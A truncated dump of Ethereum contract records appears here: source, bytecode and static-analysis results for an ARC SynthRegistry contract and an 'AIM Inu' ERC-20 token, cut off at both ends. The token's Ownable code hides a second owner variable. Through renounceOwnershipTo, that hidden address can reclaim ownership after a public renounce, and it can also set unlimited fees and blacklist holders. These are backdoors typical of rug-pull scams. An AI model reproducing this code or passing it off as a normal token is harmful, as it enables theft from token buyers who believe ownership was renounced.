80602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202389cfcdc683c22c6a8e5f22849f77dabd1a4d0faf09fdb3358c7c33794e5b1c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,038 |
0xc54b0EDfef6fE57Eb47Ce4f4893108e664A9eA2d
|
/*
/ | __ / ____|
/ | |__) | | |
/ / | _ / | |
/ ____ | | | |____
/_/ _ |_| _ _____|
* ARC: global/SynthRegistry.sol
*
* Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/global/SynthRegistry.sol
*
* Contract Dependencies:
* - Context
* - Ownable
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2020 ARC
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
interface ISyntheticToken {
function symbolKey()
external
view
returns (bytes32);
function mint(
address to,
uint256 value
)
external;
function burn(
address to,
uint256 value
)
external;
function transferCollateral(
address token,
address to,
uint256 value
)
external
returns (bool);
}
contract SynthRegistry is Ownable {
struct Synth {
bytes32 symbolKey;
address proxyAddress;
address syntheticAddress;
}
// Available Synths which can be used with the system
address[] public availableSynths;
mapping(bytes32 => address) public synths;
mapping(address => Synth) public synthsByAddress;
/* ========== EVENTS ========== */
event SynthAdded(bytes32 currencyKey, address synth);
event SynthRemoved(bytes32 currencyKey, address synth);
/* ========== VIEW FUNCTIONS ========== */
function getAllSynths()
public
view
returns (address[] memory)
{
return availableSynths;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function addSynth(
address proxy,
address synth
)
external
onlyOwner
{
bytes32 symbolKey = ISyntheticToken(synth).symbolKey();
require(
synths[symbolKey] == address(0),
"Synth already exists"
);
require(
synthsByAddress[address(synth)].symbolKey == bytes32(0),
"Synth address already exists"
);
availableSynths.push(synth);
synths[symbolKey] = synth;
synthsByAddress[address(synth)] = Synth({
symbolKey: symbolKey,
proxyAddress: proxy,
syntheticAddress: synth
});
emit SynthAdded(symbolKey, address(synth));
}
function removeSynth(
bytes32 symbolKey
)
external
onlyOwner
{
require(
address(synths[symbolKey]) != address(0),
"Synth does not exist"
);
require(
IERC20(address(synths[symbolKey])).totalSupply() == 0,
"Synth supply exists"
);
// Save the address we're removing for emitting the event at the end.
address synthToRemove = address(synths[symbolKey]);
// Remove the synth from the availableSynths array.
for (uint i = 0; i < availableSynths.length; i++) {
if (address(availableSynths[i]) == synthToRemove) {
delete availableSynths[i];
// Copy the last synth into the place of the one we just deleted
// If there's only one synth, this is synths[0] = synths[0].
// If we're deleting the last one, it's also a NOOP in the same way.
availableSynths[i] = availableSynths[availableSynths.length - 1];
// Decrease the size of the array by one.
availableSynths.length--;
break;
}
}
// And remove it from the synths mapping
delete synthsByAddress[address(synths[symbolKey])];
delete synths[symbolKey];
emit SynthRemoved(symbolKey, synthToRemove);
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063835e119c11610066578063835e119c146102665780638da5cb5b146102d45780638f32d59b1461031e578063f2fde38b14610340578063ff11b5c0146103845761009e565b80630b887dae146100a357806316b2213f146100d157806319b12aec1461018f57806332608039146101ee578063715018a61461025c575b600080fd5b6100cf600480360360208110156100b957600080fd5b81019080803590602001909291905050506103e8565b005b610113600480360360208110156100e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061097d565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b6101976109e7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156101da5780820151818401526020810190506101bf565b505050509050019250505060405180910390f35b61021a6004803603602081101561020457600080fd5b8101908080359060200190929190505050610a75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610264610aa8565b005b6102926004803603602081101561027c57600080fd5b8101908080359060200190929190505050610be1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102dc610c1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610326610c46565b604051808215151515815260200191505060405180910390f35b6103826004803603602081101561035657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca4565b005b6103e66004803603604081101561039a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2a565b005b6103f0610c46565b610462576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610538576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53796e746820646f6573206e6f7420657869737400000000000000000000000081525060200191505060405180910390fd5b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105b357600080fd5b505afa1580156105c7573d6000803e3d6000fd5b505050506040513d60208110156105dd57600080fd5b810190808051906020019092919050505014610661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53796e746820737570706c79206578697374730000000000000000000000000081525060200191505060405180910390fd5b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b60018054905081101561080c578173ffffffffffffffffffffffffffffffffffffffff16600182815481106106d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107ff576001818154811061072457fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001808080549050038154811061076457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001828154811061079c57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018054809190600190036107f9919061134d565b5061080c565b808060010191505061069f565b50600360006002600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690557f6166f5c475cc1cd535c6cdf14a6d5edb811e34117031fc2863392a136eb655d08282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60036020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b60606001805480602002602001604051908101604052809291908181526020018280548015610a6b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610a21575b5050505050905090565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ab0610c46565b610b22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60018181548110610bee57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c88611201565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b610cac610c46565b610d1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d2781611209565b50565b610d32610c46565b610da4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166339b171cf6040518163ffffffff1660e01b815260040160206040518083038186803b158015610dec57600080fd5b505afa158015610e00573d6000803e3d6000fd5b505050506040513d6020811015610e1657600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53796e746820616c72656164792065786973747300000000000000000000000081525060200191505060405180910390fd5b6000801b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414610fb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f53796e7468206164647265737320616c7265616479206578697374730000000081525060200191505060405180910390fd5b60018290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180606001604052808281526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815250600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050507f0a2b6ebf143b3e9fcd67e17748ad315174746100c27228468b2c98c302c628848183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061139f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b815481835581811115611374578183600052602060002091820191016113739190611379565b5b505050565b61139b91905b8082111561139757600081600090555060010161137f565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a7231582001d4a1786674c51350d44b915054c72350988241b0f53d8b2ae1f6c365782f2f64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,039 |
0xac58c99257aea79090f1f4f8f0755d84e6d38082
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _msgSome;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
_msgSome = msgSender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwnes() {
require(_msgSome == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnershipTo(address newOwner) public virtual onlyOwnes {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AIMiNO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "AIM Inu";
string private constant _symbol = "AIM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _distroFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x6A71F96CDD8a66478793105bFE63Fb041256C18a);
address payable private _devAddress = payable(0x7ce2cE76706A385a7D7C911DE5D40f95c38BEAFa);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 90000000000 * 10**9; //9% of total supply per txn
uint256 public _maxWalletSize = 200000000000 * 10**9; //2% of total supply
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
// uint256 contractETHBalance = address(this).balance;
// if (contractETHBalance > 0) {
// sendETHToFee(address(this).balance);
// }
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
// _marketingAddress.transfer(amount.div(9).mul(8));
_marketingAddress.transfer(amount);
//_devAddress.transfer(amount.div(9).mul(1));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwnes {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwnes {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwnes {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwnes {
